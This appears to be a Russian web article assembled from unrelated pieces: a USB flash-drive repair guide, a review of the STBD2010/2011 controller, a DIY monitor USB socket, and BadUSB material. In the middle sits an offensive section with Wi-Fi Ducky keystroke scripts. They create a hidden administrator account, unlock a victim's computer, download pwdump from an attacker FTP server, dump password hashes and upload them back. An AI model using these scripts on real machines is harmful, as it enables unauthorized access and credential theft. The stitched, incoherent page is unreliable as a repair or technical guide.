Интерфейс USB в схемах на микроконтроллере

В этой инструкции я попытаюсь максимально доступным языком рассказать как восстановить флешку, если она вдруг перестала определяться, либо начала как-то странно или неправильно работать. Несмотря на всю свою кажущуюся простоту, USB флешка представляет собой достаточно технически сложный прибор, имеющий свой управляющий чип со специальной программой-прошивкой и модули энергонезависимой NAND-памяти. Реанимация флешки в нашем случае подразумевает именно программный способ восстановить её работоспособность, так как более сложные операции, связанные с аппаратным ремонтом USB-диска, требуют уже профессионального подхода и выполняются в условиях сервис-центра.

Флешка умерла или ещё жива?!

Для начала давайте определимся с видом поломки. В некоторых случаях нет смысла что-либо делать, так как пациент скорее мёртв, чем жив.

Подключаем флешку в USB-порт компьютера и… ничего не происходит. На ней не загорается индикатор состояния, она не появляется в списке дисков компьютера, её нет её нет в диспетчере дисков, ничего не появляется в диспетчере устройств. Это значит, что либо сгорел USB-порт, либо вышел из строя чип. Человек без опыта работы с паяльником и электроникой ничего не сделает, а значит выход или выкидывать, или идти в специализированную мастерскую.

Если же компьютер видит флешку и она хоть как-то определяется операционной системой, то есть шанс, что реанимация USB диска пройдёт успешно и им определённо стоит воспользоваться. Вот самые типичные ситуации.

Пишем скрипты для атак

Наше кибероружие подготовлено и начищено, осталось зарядить его скриптами. Обрати внимание на расстановку пауз в них (DELAY). Они нужны для того, чтобы код не начал выполняться слишком рано — прежде, чем целевой компьютер успеет на него отреагировать. Советую делать паузы побольше, исходя из того, что система жертвы будет медленней твоей тестовой. Это может быть из-за отсутствия на ней SSD, меньшего объема оперативки, медленного процессора и так далее.

Смоделируем такую ситуацию: Wi-Fi Ducky уже подключен к цели, а мы находимся где-то неподалеку. В системе есть учетная запись пользователя с правами локального администратора, и она сейчас активна. Нам необходимо выполнить какое-то действие. Для начала создадим скрипт, который создаст еще одного пользователя и добавит его в группу «Администраторы».

GUI r STRING cmd ENTER DELAY 100 STRING net user hacker qwerty /add DELAY 200 STRING net localgroup administrators hacker /add ALT KEY_F4

Если скетч запустится с правами учетной записи обычного пользователя, то появится сообщение: «Системная ошибка 5. Отказано в доступе». Под админом он выполнится менее чем за полсекунды, после чего окно консоли закроется.

Для русифицированных версий Windows придется указать имя группы «Администраторы» по-русски: net localgroup Администраторы hacker /add. Однако для этого потребуются дополнительные действия. Подробнее см. статью «Русифицируем уточку. Как заставить BadUSB работать с разными раскладками клавиатуры».

Отлично, теперь необходимо дождаться, пока пользователь заблокирует компьютер и уйдет, к примеру, на обед. Запускаем скрипт, который разблокирует компьютер под нашим пользователем:

TAB DELAY 30 TAB DELAY 30 ENTER TAB DELAY 30 TAB DELAY 30 ENTER

Вуаля! Мы работаем за компьютером жертвы без ее ведома с новой учетной записью. Конечно, если в системе всего две учетные записи — исходная и наша.

Далее, к примеру, можно загрузить с заранее подготовленного FTP-сервера pwdump:

GUI r DELAY 30 STRING cmd ENTER DELAY 30 STRING echo open > ftp.txt & echo ip-ftp >> ftp.txt & echo user >> ftp.txt & echo password >> ftp.txt & echo get pwdump.exe >> ftp.txt & echo bye >> ftp.txt ENTER DELAY 50 STRING ftp –s:ftp.txt DELAY 3000

После чего мы можем сдампить хеши паролей:

STRING pwdump.exe >> pass.txt

…и загрузить файл обратно на сервер:

STRING echo open > ftp1.txt & echo ip-ftp >> ftp1.txt & echo user >> ftp1.txt & echo password >> ftp1.txt & echo send pass.txt >> ftp1.txt & echo bye >> ftp1.txt DELAY 50 STRING ftp –s:ftp1.txt

Останется воспользоваться радужными таблицами для расшифровки, и мы уже владеем учетными записями для продолжения атаки. Устройство все еще в компьютере, и делать мы можем что угодно в радиусе приема «злого Wi-Fi».

Слетела файловая система

Самый простой случай — это когда происходит сбой файловой системы и, подключив свою флешку к компьютеру, Вы видите вот такое сообщение:

То есть требуется форматирование съёмного диска. Если это просто однократный сбой работы накопителя, то достаточно просто форматировать диск и он будет работать дальше. Если на нём была важная информация, то Вы можете её вернуть специальной утилитой типа Recuva или R-Studio. Это самый простой и лёгкий вариант реанимации из всех возможных.

Флешка показывает 0 байт и не форматируется

Более сложный случай, это когда USB-диск отказывается форматироваться обычным способом постоянно выдавая разные ошибки. При этом заглянув в его свойства можно увидеть, что объём флешки 0 байт:

Ещё и файловая система может быть формата RAW. Здесь налицо ещё и нарушение разметки кластеров. Что делать? Для начала можно попробовать стандартный инструмент Windows для исправления ошибок диска:

В его свойствах открываем вкладку «Сервис» и нажимаем кнопку «Проверить». В более старых версиях Windows эта кнопка может называться «Проверка диска». Несколько раз эта утилита меня выручала, проверив и исправив ошибки. После чего форматирование проходило успешно.

Если это не помогает, то кликаем на кнопку Пуск правой кнопкой мыши и выбираем пункт меню «Управление дисками»:

Находим свою USB-флешку, кликаем по ней правой кнопкой мыши и выбираем пункт «Форматировать». Появится такое окошко:

Обязательно снимите галку «Быстрое форматирование». Нажимаем на кнопку ОК и ждём пока том отформатируется.

А вот если и это не помогает — тогда пробуем делать низкоуровневое форматирование флешки. Для этого скачиваем программу HDD Low Level Format Tool и запускаем её:

В первом окне выбираем диск, который будем форматировать на низком уровне и нажимаем на кнопку «Continue». Главное не перепутайте с каким-нибудь другим диском, а то будет очень обидно.

Во втором окне надо перейти на вкладку «LOW-LEVEL FORMAT» и нажать на кнопку «FORMAT THIS DEVICE». Теперь можно сходить попить чайку пока процесс подойдёт к концу.

Диск защищён от записи

Если Ваш съёмный диск открывается, но стал доступен только для чтения — это значит, что контроллер флешки перешёл в аварийный режим. При попытке что-либо записать в память или выполнить форматирование появится ошибка – «Диск защищен от записи».

Смысл в том, что в управляющей микропрограмме случилась ошибка или сбой, в результате которого для предотвращения потери данных и выхода из строя блоков NAND-памяти был активирован аварийный режим. Поэтому, пока есть такая возможность, сохраните все данные с носителя куда-нибудь на компьютер. В следующий раз они могут уже не открыться, если флешка сломается окончательно. Как её реанимировать? Только сервисной утилитой, про которую я расскажу ниже!

Делаем USB-разъем на подставке монитора своими руками

Делаем USB-разъем на подставке монитора своими руками

Инструменты :

— паяльник; — канцелярский нож, или другой имеющийся острый режущий инструмент;

Материалы :

— стандартное usb гнездо; — ненужный usb кабель ; — термоусадка .

Приступим к изготовлению самоделки !

Начнем с того, что снимем опорную часть монитора. В данном случае мы имеем круглое основание.

Становитесь автором сайта, публикуйте собственные статьи, описания самоделок с оплатой за текст. Подробнее здесь.

USB-флешка определяется как неизвестное устройство

Беда-беда, огорчение… Самый грустный вариант — это когда при подключении флешки к ПК мы видим сообщение «Устройство USB не опознано». Вот примерно такое:

Что делаем? Сначала пробуем переключить съёмный диск в любой другой USB-порт на компе. При этом не пользуемся удлинителями и USB-хабами.

Эффекта нет? Значит всё же полетела прошивка контроллера — то есть управляющая flash-носителем программа не работает так, как должна.

Единственный шанс реанимировать флешку — это воспользоваться сервисной утилитой. Встаёт вопрос — какой?

Во-первых, практически у всех производителей есть свои программы для восстановления диска и данных. Вот примеры:

Transcend — JetFlash Online Recovery (ссылка) Kingston — Format Utility (ссылка) Silicon Power — USB Flash Drive Recovery Software (ссылка) Apacer — USB Repair and Format Tool Free (ссылка)

Во-вторых, для большинства контроллеров есть сервисные утилиты от их производителей. Чтобы правильно найти такую утилиту, надо сначала узнать идентификаторы VID и PID у своей флешки. VID — это код производителя, а PID — это код устройства. Найти их можно в диспетчере устройств Windows.

Находим там свой съёмный диск, который определился как неизвестное устройство:

Если флешка нормально определяется, то она будет отображаться как «Запоминающее устройство для USB»:

Кликаем на этой строчке правой кнопкой мыши и выбираем пункт «Свойства». Появится окно, где надо открыть вкладку «Сведения»:

на этой вкладке будет выпадающий список «Свойство», в котором надо выбрать либо «ИД оборудования», либо «Код устройства», «Код экземпляря устройства» — что будет. Ниже в поле «значение» вы увидите строчку с нужными идентификаторами. У меня VID имеет значение 13FE, а PID — значение 1D00. Дальше вбиваем эти значения в Гугле и смотрим результат:

В моём случае чип на флешке от производителя Philson и помочь должна утилита Philson UPTool.

Как Вы можете заметить по результатам поиска, большинство информации находится на сайте flashboot.ru. Поэтому можно сразу зайти на него, открыть раздел iFlash и вбить там в поиск свои значения VID и PID.

В результатах находим предложенные утилиты и пробуем. Сразу хочу предупредить. Так как эти утилиты сервисные, то предполагается, что ими пользуется человек, имеющий определённые знаения и опыт. Поэтому, воспользовавшись ей, реанимация USB флешки может пройти успешно, а может и превратить её в кирпич. Это надо понимать заранее.

Обзор контроллеров

В настоящее время существует несколько производителей контроллеров флэш-памяти с интерфейсом USB 2.0 (USB 2.0 Flash Drive Controller). Например, компания Genesys Logic производит контроллер GL814E, а фирма SMSC — USB97C242. В начале 2004 года фирма Sigmatel анонсировала новый контроллер флэш-памяти STBD2010. В отличие от вышеназванных, данный контроллер максимально интегрирован и включает в себя все необходимые компоненты для построения готового устройства флэш-памяти с минимальным набором внешних элементов. Кроме того, он имеет современный малогабаритный корпус (рис. 4), что позволяет создавать на его основе миниатюрные устройства памяти.

Рис. 4

При этом цена микросхемы составляет всего $1,7. Единичные образцы данного контроллера можно заказать на сайте компании-производителя (www.sigmatel.com).

Контроллер имеет две модификации: STBD2010 и STBD2011. Последняя модификация имеет некоторые преимущества перед первой. Поскольку обе модификации контроллеров имеют одинаковую структуру и полностью совместимы по выводам корпуса, здесь приводится обзор для обеих моделей контроллера с указанием отличий.

Вначале рассмотрим основные характеристики контроллера. Контроллер STBD2010/2011 имеет встроенный интерфейс USB и полностью совместим со спецификацией USB 2.0 для высокоскоростных операций. Он обеспечивает управление микросхемами флэш-памяти с архитектурой NAND. Имея очень маленький размер корпуса, контроллер позволяет создавать устройства с миниатюрными размерами. Встроенный в контроллер интерфейс внешней флэш-памяти обеспечивает обслуживание от одной до четырех микросхем памяти с 8- и 16-битной организацией шины данных. Объем каждой из четырех микросхем памяти может достигать 2 Гбит. Таким образом, суммарный объем поддерживаемых контроллером микросхем памяти может достигать 8 Гбит. Контроллер обладает свойством автоматического конфигурирования типа памяти и обеспечивает поддержку следующих типов микросхем флэш-памяти:

  • флэш-память NAND с технологией Binary или SLC (Single Level Cell);
  • флэш-память NAND с технологией MLC (Multi-Level Cell) (только STBD2011);
  • флэш-память AG-AND (только STBD2011).

К числу изготовителей подобных типов микросхем памяти относятся такие известные фирмы, как Samsung, Toshiba, SanDisk, ST Microelectronics и др.

Контроллер обладает блоком аппаратной коррекции ошибок (ECC), что обеспечивает достоверность переносимых данных без необходимости дополнительной программной обработки данных.

Встроенный в контроллер регулятор напряжения обеспечивает подключаемые микросхемы флэш-памяти необходимым для них напряжением питания 3,3 и 1,8 В без использования внешних стабилизаторов напряжения и других дополнительных элементов. Входным источником питания для контроллера служит источник напряжения 5 В интерфейса USB.

Для синхронизации всех процессов внутри контроллера имеется встроенный синтезатор частот, который работает совместно с внешним кварцевым резонатором, задающим тактовую частоту 24 МГц.

Контроллер STBD2010/2011 не требует никакого дополнительного программного обеспечения в своей работе и допускает использование на компьютерах с операционными системами MAC OS, Windows МE/2000/XP. Кроме того, для более ранней версии Windows 98 SE на сайте компании www.sigmatel.com свободно доступен драйвер контроллера STBD2010/2011.

Рассмотрим структурную схему контроллера (рис. 5).

Рис. 5

Как видно из структуры контроллера, в его состав входят блоки для поддержки интерфейса USB и работы с флэш-памятью. Протокол интерфейса USB и флэш-памяти поддерживается встроенным микроконтроллером High Performance Microcontroller, который использует для своей работы встроенную постоянную память программ ROM и оперативную память RAM. Поддержка интерфейса USB осуществляется с помощью блока высокоскоростного приемопередатчика USB2.0 Hi-Speed Transceiver и устройства управления USB2.0 Hi-Speed Device Controller. Внутренний синтезатор частот PLL обеспечивает необходимую синхронизацию работы всех внутренних устройств с помощью внешнего кварцевого резонатора на 24 МГц. Блок GPIO обеспечивает внешнее управление и индикацию режима работы контроллера. Связь контроллера с флэш-памятью осуществляется через интерфейс памяти Flash Memory Interface. Встроенный регулятор напряжения Voltage Regulators формирует из входного напряжения 5 В, поступающего от интерфейса USB, необходимые для работы ядра контроллера и внешних микросхем памяти напряжения питания 3,3 и 1,8 В.

Контроллер выпускается в современном малогабаритном 48-выводном корпусе типа QFN размером всего 77 мм.

В таблице 1 приведены основные эксплуатационно-технические характеристики данной микросхемы.

Таблица 1. Эксплуатационно-технические характеристики микросхемы

Типовая структурная схема подключения микросхем памяти к контроллеру показана на рис. 6.

Рис. 6

Вставьте диск в устройство

Не могу не рассказать ещё про один вид неисправности, с которым достаточно часто сталкиваются пользователи — USB- флешка пишет вставьте диск в устройство и не форматируется.

Чаще всего это означает, что управляющий микроконтроллер жив-здоров и работает исправно, а вот модули памяти благополучно отвалились. И скорее всего совсем. В этом случае можно попробовать реанимировать накопитель сервисной утилитой, как я показывал выше, но скорее всего не поможет и придётся гаджет выкинуть.

P.S.: Я честно не скажу, что я прямо уж гуру восстановления различных флешек и съёмных накопителей, но определённый опыт в этом имею. Если у Вас не получилось восстановить USB-диск предложенными выше способами — напишите свою проблему как можно точнее в нашей группе ВКонтакте и я постараюсь Вам помочь чем смогу. Удачи!

Самоуничтожающаяся флешка

Если говорить об этом устройстве как о флешке, которая может испускать дым, то, конечно, полезных применений у нее будет немного — разве что использовать в качестве декораций в кино про хакеров для особо драматичной сцены (да и видео с PoC выходит отличным!). Однако есть масса способов усовершенствовать полезную нагрузку. Например, можно заменить ее на «звуковую гранату», которая подарит немного веселья команде безопасности и сдержит их импульс немедленно выдернуть посторонний предмет из компьютера.

После подключения инъектор нажатий на клавиши отработает как вам нужно, а потом завоет сирена и не будет выключаться до тех пор, пока батарейка не умрет. Это возможно потому, что софт контролирует переключатель, способный подавать столько питания, сколько дает порт USB.

В общем, тут можно использовать много вариантов небольших схемок. А если вы можете поставить корпус побольше, например взять формат сменных дисков на 2,5 дюйма, то выбор становится еще богаче. Это отлично сочетается с устройствами, которые работают от батарейки. Например, боевые девайсы для работы с Wi-Fi (взлом, глушилки и прочее), которые будут получать питание от батарейки, только когда их принесут в целевую зону.

Это описание проекта с основными данными об электронной схеме. Подробная информация о каких-либо опасных манипуляциях умышленно не сообщается. Видео с демонстрацией нельзя воспроизвести без дополнительной работы, познаний и компонентов.

Предисловие

Прошлогодний Black Hat принес много интересных докладов. В числе наиболее обсуждаемых был доклад, посвященный неисправимой уязвимости USB-устройств, позволяющей превращать обычные флешки в инструмент распространения вредоносных программ. Атаку назвали BadUSB, но позже в Сети появились шуточки на тему «USBola», сравнивающие эту атаку с известным вирусом.

Подобные идеи использования HID-девайсов для корыстных целей были уже давно. Грех не воспользоваться тем, что ОС система доверяет устройствам, подключаемым к USB-интерфейсу. Если покопаться в памяти, то в журнале уже была статья по сходной тематике, в которой говорилось, как с помощью специального устройства Teensy можно взять под контроль машину с Windows 7 (в принципе — с любой ОС на борту). Устройство по внешнему виду напоминало собой обычную флешку, под которую собственно и маскировалось. Все это наводило на мысли, что с флеш-накопителями тоже можно провернуть такой трюк.

Рейтинг
( 1 оценка, среднее 4 из 5 )
Понравилась статья? Поделиться с друзьями: